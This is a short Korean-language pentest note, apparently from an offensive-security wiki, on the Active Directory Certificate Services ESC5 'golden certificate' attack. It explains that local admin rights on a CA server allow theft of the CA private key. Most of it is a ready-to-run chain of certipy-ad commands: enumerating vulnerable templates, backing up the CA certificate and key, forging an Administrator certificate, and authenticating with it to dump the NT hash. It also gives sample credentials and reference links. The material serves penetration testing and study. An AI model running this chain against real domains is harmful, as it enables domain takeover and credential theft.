ESC5

Certipy는 템플릿에 대해서 정보를 수집하고 공격 가능한 방법을 열거하는 도구기 때문에 도메인에 대한 ACL을 광범위하게 수집하는 정보 수집 도구(예 : BloodHound)를 사용했을 때 식별할 수 있습니다.

CA 서버에서 로컬 관리자 권한을 획득하면 CA 인증서와 개인 키를 발급받는 것이 가능합니다. CA의 개인키를 통해 Administrator의 인증서를 위조하여 서명하면 무결한 위조 인증서가 생성됩니다.

Abuse

UNIX

# 취약한 템플릿 열거
certipy-ad find -u Mick3y -p 'Password123!' -dc-ip 192.168.1.11 -vulnerable -stdout -enabled

# CA 서버 인증서 발급
certipy-ad ca -u Administrator -p 'Password123!' -dc-ip 192.168.1.11 -target CA.CONTOSO.COM -ca CONTOSO-CA-CA -backup

# Administrator 인증서 발급
certipy-ad forge -ca-pfx CONTOSO-AD01-CA.pfx -upn [email protected]

# 인증서로부터 nt해시 덤프
certipy-ad auth -pfx administrator_forged.pfx -dc-ip 192.168.1.11

References

Active Directory “Golden” Certificate Attack (ADCS – ESC5) | RBT SecurityRBT Security | Reinventing The Security

06 ‐ Privilege EscalationGitHub

ADCS ESC5: Vulnerable PKI Object Access ControlHacking Articles